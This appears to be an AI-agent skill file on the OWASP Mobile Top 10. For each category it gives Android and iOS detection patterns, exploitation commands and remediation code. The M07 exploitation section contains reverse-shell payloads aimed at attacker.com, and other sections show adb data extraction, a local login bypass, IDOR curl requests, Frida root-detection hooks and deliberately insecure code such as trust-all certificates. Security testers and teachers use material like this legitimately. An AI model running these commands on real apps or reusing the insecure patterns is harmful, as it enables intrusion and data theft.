owasp-mobile-top-10

name	OWASP Mobile Top 10
description	OWASP Mobile Application Security Top 10 2024 — iOS/Android vulnerabilities, reverse engineering, and exploit techniques
tags	["owasp","mobile","security","android","ios","vulnerability","top10","m01","m02","m03","m04","m05","m06","m07","m08","m09","m10"]

Task: OWASP Mobile Top 10 Security Analysis. Analyze mobile applications for the OWASP Mobile Application Security Verification Standard (MASVS) Top 10 2024 vulnerabilities.

OWASP Mobile Top 10 2024 Categories

M01: Improper Platform Usage

Rank: #1 - Misuse of Android/iOS platform features

Android Detection:

// Insecure File Storage
// Storing sensitive data in external storage
File file = new File(Environment.getExternalStorageDirectory(), "config.json");

// Insecure SharedPreferences
SharedPreferences prefs = getSharedPreferences("app_prefs", MODE_WORLD_READABLE);

// Exported Components (AndroidManifest.xml)
<activity android:name=".LoginActivity" android:exported="true">
<service android:name=".AuthService" android:exported="true">

// Implicit Intent Hijacking
Intent intent = new Intent();
intent.setAction("com.example.ACTION_SEND_DATA");
intent.putExtra("sensitive_data", data);
sendBroadcast(intent);  // Any app can receive

// PendingIntent Hijacking
PendingIntent pendingIntent = PendingIntent.getService(..., intent, FLAG_UPDATE_CURRENT);

// Log Leaks
Log.d("TAG", "Token: " + authToken);
Log.d("TAG", "Password: " + password);

iOS Detection:

// Insecure File Storage
let path = NSTemporaryDirectory() + "config.json"

// Keychain Issues
// No kSecAttrAccessControl
// Weak kSecAttrAccessible (kSecAttrAccessibleAlways)

// Local Storage in Documents
UserDefaults.standard.set(password, forKey: "password")

// Log Leaks
NSLog("Token: %@", authToken)
print("Password: %@", password)

// Pasteboard Access
UIPasteboard.general.string = sensitiveData

Exploitation:

# Android - Read External Storage
adb shell
run-as com.example.app
ls /sdcard/Android/data/com.example.app/

# Android - Check Exported Components
adb shell dumpsys package com.example.app | grep -A 20 "Exported services"

# Android - Activity Hijacking
adb shell am start -n com.evil.app/.HijackActivity -a com.example.ACTION

# iOS - Container Access
ssh root@iphone_ip
cd /var/mobile/Containers/Data/Application/{UUID}/
cat Documents/config.json

# iOS - Keychain Access
security find-generic-password -s "com.example.app"

Remediation:

// Android: Use Encrypted SharedPreferences
EncryptedSharedPreferences.create(
    "secret_shared_prefs",
    masterKeyAlias,
    context,
    EncryptedSharedPreferences.PrefKeyEncryptionScheme.AES256_SIV,
    EncryptedSharedPreferences.PrefValueEncryptionScheme.AES256_GCM
);

// Android: Use Private Storage
File file = new File(context.getFilesDir(), "config.json");

// Android: Don't Export Components
<activity android:name=".LoginActivity" android:exported="false">

// Android: Use Explicit Intents
Intent intent = new Intent(context, TargetActivity.class);

---

M02: Insecure Data Storage

Rank: #2

Detection Patterns:

// Database Without Encryption
SQLiteDatabase db = openOrCreateDatabase("app.db", MODE_PRIVATE, null);

// Shared Preferences with Sensitive Data
SharedPreferences prefs = getSharedPreferences("creds", MODE_PRIVATE);
prefs.edit().putString("password", pass).commit();

// Temp Files with Sensitive Data
File temp = File.createTempFile("cache", ".tmp");

// Core Data Without Encryption
let container = NSPersistentContainer(name: "DataModel")

// Keychain Without Access Control
let query: [String: Any] = [
    kSecClass as String: kSecClassGenericPassword,
    kSecAttrAccount as String: "user",
    kSecValueData as String: password.data(using: .utf8)!
]

Exploitation:

# Android - Extract Database
adb shell
run-as com.example.app
cp /data/data/com.example.app/databases/app.db /sdcard/
adb pull /sdcard/app.db
sqlite3 app.db

# Android - Read SharedPreferences
cat /data/data/com.example.app/shared_prefs/creds.xml

# iOS - Extract SQLite
scp root@iphone_ip:/var/mobile/Containers/Data/Application/{UUID}/Library/Application Support/db.sqlite .

# iOS - Read Keychain
security dump-keychain | grep -A 10 "com.example.app"

Remediation:

// SQLCipher for Database
SQLiteDatabase.loadLibs(context);
String dbPath = getDatabasePath("encrypted.db").getAbsolutePath();
SQLiteDatabaseHook hook = new SQLiteDatabaseHook("passphrase".getBytes());
SQLiteDatabase db = SQLiteDatabase.openDatabase(dbPath, hook, OPEN_READWRITE);

// Encrypted SharedPreferences
// Use Jetpack Security library
EncryptedSharedPreferences.create(...)

// Core Data Encryption
let description = NSPersistentStoreDescription(url: storeURL)
description.setOption(true as NSNumber, forKey: NSPersistentStoreFileProtectionKey)

// Keychain with Access Control
let query: [String: Any] = [
    kSecClass: kSecClassGenericPassword,
    kSecAttrAccount: "user",
    kSecValueData: password.data(using: .utf8)!,
    kSecAttrAccessControl: SecAccessControlCreateWithFlags(
        kSecAttrAccessibleWhenUnlockedThisDeviceOnly,
        .userPresence
    )!
]

---

M03: Insecure Communication

Rank: #3

Detection Patterns:

// HTTP Instead of HTTPS
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
// No SSL verification

// Trusting All Certificates
TrustManager[] trustAllCerts = new TrustManager[] {
    new X509TrustManager() {
        public void checkClientTrusted(X509Certificate[] chain, String authType) {}
        public void checkServerTrusted(X509Certificate[] chain, String authType) {}
    }
};

// Sensitive Data in URL Parameters
http://api.example.com/getToken?username=user&password=pass

// Weak Cipher Suites
// SSLContext with weak algorithms

Exploitation:

# MitM with Burp/Fiddler
# Configure proxy, intercept traffic

# Network Sniffing
tcpdump -i wlan0 -A 'tcp port 80'

# Certificate Pinning Bypass (Frida)
frida -U -l frida_cert_pinning_bypass.js -f com.example.app

# SSL Pinning Bypass Script
// SSLContext.init(null, trustAll, null)

Remediation:

// Network Security Config
// res/xml/network_security_config.xml
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
    <base-config cleartextTrafficPermitted="false">
        <trust-anchors>
            <certificates src="system" />
            <certificates src="@raw/my_ca" />
        </trust-anchors>
    </base-config>
</network-security-config>

// Certificate Pinning
OkHttpClient client = new OkHttpClient.Builder()
    .certificatePinner(
        new CertificatePinner.Builder()
            .add("api.example.com", "sha256/AAAAAAAAAA...")
            .build())
    .build();

---

M04: Insecure Authentication

Rank: #4

Detection Patterns:

// Local Authentication
// Only checking SharedPreferences
if (prefs.getString("logged_in", "false").equals("true")) {
    // User authenticated
}

// Hardcoded Credentials
private static final String API_KEY = "sk_live_12345";
private static final String PASSWORD = "admin123";

// Weak Token Validation
// JWT without signature verification
// Base64 encoded tokens only

// No Session Expiry
// Never expires
SharedPreferences prefs = getSharedPreferences("session", MODE_PRIVATE);
prefs.edit().putLong("expiry", Long.MAX_VALUE).commit();

Exploitation:

# Reverse Engineering
# Extract APK
adb pull /data/app/com.example.app/base.apk
# Decompile
apktool d base.apk
# Find hardcoded credentials
grep -r "sk_live" base.apk/

# Local Auth Bypass
# Modify SharedPreferences
adb shell
run-as com.example.app
cd /data/data/com.example.app/shared_prefs
echo '<map><string name="logged_in">true</string></map>' > session.xml

# Token Manipulation
# Intercept token, modify user_id

Remediation:

// Server-Side Authentication
// Never trust client-side auth

// Token with Expiry
JwtParser parser = Jwts.parser()
    .setSigningKey(key)
    .build();
Claims claims = parser.parseClaimsJws(token).getBody();
Date exp = claims.getExpiration();

// Biometric Authentication
BiometricPrompt.PromptInfo promptInfo = new BiometricPrompt.PromptInfo.Builder()
    .setTitle("Authenticate")
    .setSubtitle("Use biometric to login")
    .setNegativeButtonText("Cancel")
    .build();

---

M05: Insufficient Cryptography

Rank: #5

Detection Patterns:

// Weak Algorithms
Cipher cipher = Cipher.getInstance("DES/ECB/PKCS5Padding");
MessageDigest md = MessageDigest.getInstance("MD5");
SecretKeySpec key = new SecretKeySpec("weakkey", "AES");

// Hardcoded IV
IvParameterSpec iv = new IvParameterSpec("fixed_iv_12345");

// ECB Mode (No IV)
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");

// Random with Low Entropy
Random random = new Random();  // Predictable
SecureRandom secureRandom = new SecureRandom();  // Better

// Weak Crypto in iOS
let cipher = CCRCryptorCreate(kCCAlgorithmDES, ...)  // DES
let hash = MD5(data)  // MD5
let key = "weakkey".data(using: .utf8)  // Weak key

Exploitation:

# DES Decryption
openssl des-ecb -d -in encrypted.dat -out decrypted.txt -K 7765616b6b6579

# MD5 Rainbow Table
# Crack hash using online tool

# ECB Pattern Analysis
# Look for repeating blocks

# Predictable Random
# Predict next value from observed outputs

Remediation:

// Strong Encryption
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
GCMParameterSpec gcmSpec = new GCMParameterSpec(128, ivBytes);

// Strong Hashing
MessageDigest digest = MessageDigest.getInstance("SHA-256");

// Secure Key Generation
KeyGenerator keyGen = KeyGenerator.getInstance("AES");
keyGen.init(256);
SecretKey key = keyGen.generateKey();

// Secure Random
SecureRandom secureRandom = SecureRandom.getInstance("SHA1PRNG");
byte[] iv = new byte[16];
secureRandom.nextBytes(iv);

// Strong Crypto in iOS
let key = SymmetricKey(size: .init(bitCount: 256))
let sealedBox = try AES.GCM.seal(plaintext, using: key)

---

M06: Insecure Authorization

Rank: #6

Detection Patterns:

// Client-Side Authorization Check
if (userRole.equals("admin")) {
    // Check happens on client
    // Attacker can modify app to bypass
}

// IDOR in API Calls
GET /api/users/{id}/profile
// No ownership check

// Hidden Services
// Admin functionality accessible to regular users

// Role Manipulation
// Can upgrade role via API
POST /api/users/role {userId: 123, role: "admin"}

Exploitation:

# Modify App Code
apktool d app.apk
# Modify smali
# Change admin check
apktool b app -o modded.apk
# Sign and install

# IDOR Attack
curl -X GET https://api.example.com/users/1/profile
curl -X GET https://api.example.com/users/2/profile

# API Role Bypass
curl -X POST https://api.example.com/users/role \
  -H "Authorization: Bearer regular_user_token" \
  -d '{"role":"admin"}'

Remediation:

// Server-Side Authorization
// Always verify on server
if (!isAdmin(userId)) {
    return FORBIDDEN;
}

// Ownership Verification
if (resource.ownerId != currentUserId) {
    return FORBIDDEN;
}

// Role-Based Access Control
@PreAuthorize("hasRole('ADMIN')")
@RolesAllowed("ADMIN")

---

M07: Client Code Quality

Rank: #7 - Code quality issues leading to security vulnerabilities

Detection Patterns:

// Code Injection
Runtime.getRuntime().exec(userInput);

// SQL Injection
String query = "SELECT * FROM users WHERE id = " + userId;

// WebView JavaScript Interface
webView.addJavascriptInterface(new JSBridge(), "bridge");

// Dynamic Code Loading
DexClassLoader loader = new DexClassLoader(dexPath, ...);

// Reflection on User Input
Class.forName(userClassName).newInstance();

// Code Injection in iOS
eval(userInput)

// Dynamic Loading
let bundle = Bundle(path: userPath)
bundle?.load()

// WKWebView Handlers
contentController.add(self, name: "handler")  // Validate calls

Exploitation:

# RCE via Code Injection
# Input: ; nc attacker.com 4444 -e /bin/sh

# WebView Exploitation
# JavaScript Bridge exploit
<script>
    window.bridge.exec("system", "nc attacker.com 4444 -e /bin/sh")
</script>

# Frida for Dynamic Analysis
frida -U -l exploit.js -f com.example.app

Remediation:

// Input Validation
if (!isValidInput(userInput)) return;

// Parameterized Queries
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id = ?");

// Safe WebView
@JavascriptInterface
public void safeMethod(String data) {
    // Validate data
    if (!isValid(data)) return;
}

// ProGuard/R8 Obfuscation
android {
    buildTypes {
        release {
            minifyEnabled true
            proguardFiles getDefaultProguardFile('proguard-android-optimize.txt')
        }
    }
}

---

M08: Code Tampering

Rank: #8

Detection Patterns:

// No Root/Jailbreak Detection
// App runs on rooted device

// No Integrity Check
// APK/IPA can be modified

// Anti-Tampering Bypassed
// Weak protection

// Debuggable Release Build
android:debuggable="true"

// iOS Jailbreak Check Missing
// No check for Cydia, unusual paths

// No Code Signature Verification
// Modified binary runs

Exploitation:

# Android - Modify APK
apktool d app.apk
# Modify smali files
# Remove license checks
apktool b app -o modded.apk
jarsigner -keystore my.keystore modded.apk
adb install modded.apk

# Android - Root Detection Bypass (Frida)
Java.perform(function() {
    var RootChecker = Java.use("com.example.security.RootChecker");
    RootChecker.isRooted.implementation = function() {
        return false;
    };
});

# iOS - Patch IPA
class-dump ipa.swiftdump
# Patch binary
# Re-sign with codesign
# Install

# iOS - Jailbreak Detection Bypass
frida -U -l jailbreak_bypass.js -f com.example.app

Remediation:

// Root Detection
public boolean isRooted() {
    String[] rootPaths = {
        "/system/app/Superuser.apk",
        "/sbin/su",
        "/system/bin/su"
    };
    for (String path : rootPaths) {
        if (new File(path).exists()) return true;
    }
    return false;
}

// Integrity Check
public boolean verifySignature() {
    PackageManager pm = context.getPackageManager();
    PackageInfo packageInfo = pm.getPackageInfo(
        context.getPackageName(),
        PackageManager.GET_SIGNATURES
    );
    // Verify signature hash
}

// Obfuscation
// Use ProGuard/R8
// Use DexGuard (commercial)

// iOS Jailbreak Detection
func isJailbroken() -> Bool {
    let jailbreakPaths = [
        "/Applications/Cydia.app",
        "/private/var/lib/apt/"
    ]
    for path in jailbreakPaths {
        if FileManager.default.fileExists(atPath: path) {
            return true
        }
    }
    return false
}

---

M09: Reverse Engineering

**Rank: **

Detection Patterns:

// APK Without Obfuscation
// Code easily readable

// iOS Binary Without Strip
// Symbols exposed

// Hardcoded Logic
// Security checks visible

// String Exposure
// Error messages reveal logic

Tools for Reverse Engineering:

Android:

# Decompile
apktool d app.apk

# Convert to DEX
d2j-dex2jar app.apk

# View Java
JD-GUI app.jar

# Smali Analysis
baksmali app.apk

# Native Analysis
Ghidra libnative.so

# Dynamic Analysis
Frida
 objection explore

iOS:

# Decrypt IPA
clutch -o decrypted.ipa com.example.app

# Class Dump
class-dump decrypted.app

# Header Analysis
class-dump-swift decrypted.ipa

# Disassembly
Hopper disassembled.app
IDA disassembled.app

# Dynamic Analysis
Frida
 cycript

Remediation:

// Obfuscation
android {
    buildTypes {
        release {
            minifyEnabled true
            shrinkResources true
            proguardFiles 'proguard-rules.pro'
        }
    }
}

// Native Code (Harder to Reverse)
// Critical code in C/C++

// String Encryption
// Don't leave plain strings

// Anti-Debugging
// Detect debugger
// Detect Frida

// Swift Obfuscation
// Use class names that don't reveal purpose

// Strip Symbols
// Build settings: Deployment Postprocessing = Strip Debug Symbols

// LLVM Obfuscator
// Commercial tool

---

M10: Extraneous Functionality

Rank: #10 - Debug/test features in production

Detection Patterns:

// Debug Mode Enabled
if (BuildConfig.DEBUG) {
    // Debug code
    enableDevTools();
}

// Hidden Settings
// Developer menu accessible

// Test Backdoors
if (username.equals("admin") && password.equals("test123")) {
    grantAllAccess();
}

// Verbose Logging
Log.d("DEBUG", "Sensitive data: " + data);

// Alternative Authentication
if (input.equals("b4ckd00r")) {
    loginAsAdmin();
}

Exploitation:

# Find Debug Menu
# Tap 10 times on logo
# Shake device with debug build

# Trigger Backdoor
# Enter test credentials

# Access Debug Endpoints
curl http://app.example.com/debug/clear_cache
curl http://app.example.com/debug/export_db

# Extract from Source
strings app.apk | grep -i "test\|debug\|dev"

Remediation:

// BuildConfig Checks
if (!BuildConfig.DEBUG) {
    // Only run in debug builds
    return;
}

// Remove Debug Code in Release
android {
    buildTypes {
        release {
            minifyEnabled true
            shrinkResources true
        }
    }
}

// No Backdoors
// Never ship with test credentials

// ProGuard Remove Logging
-assumenosideeffects class android.util.Log {
    public static *** d(...);
    public static *** v(...);
}

---

Testing Workflow

Static Analysis

1. Decompilation
   - Android: apktool + jadx
   - iOS: clutch + class-dump

2. Code Review
   - Hardcoded secrets
   - Insecure patterns
   - Debug code

3. Configuration Check
   - AndroidManifest.xml
   - Info.plist
   - network_security_config.xml

Dynamic Analysis

1. Runtime Inspection
   - Frida scripts
   - objection explore
   - Xposed modules

2. Network Analysis
   - Burp Suite proxy
   - mitmproxy

3. File System
   - Container inspection
   - Database extraction
   - Keychain access

Tools

• Mobile Security Framework (MobSF): Automated security testing
• Frida: Dynamic instrumentation
• Objection: Runtime mobile exploration
• Burp Suite: Web traffic analysis
• apktool: APK decompilation
• jadx: DEX to Java
• IDA Pro/Ghidra: Native code analysis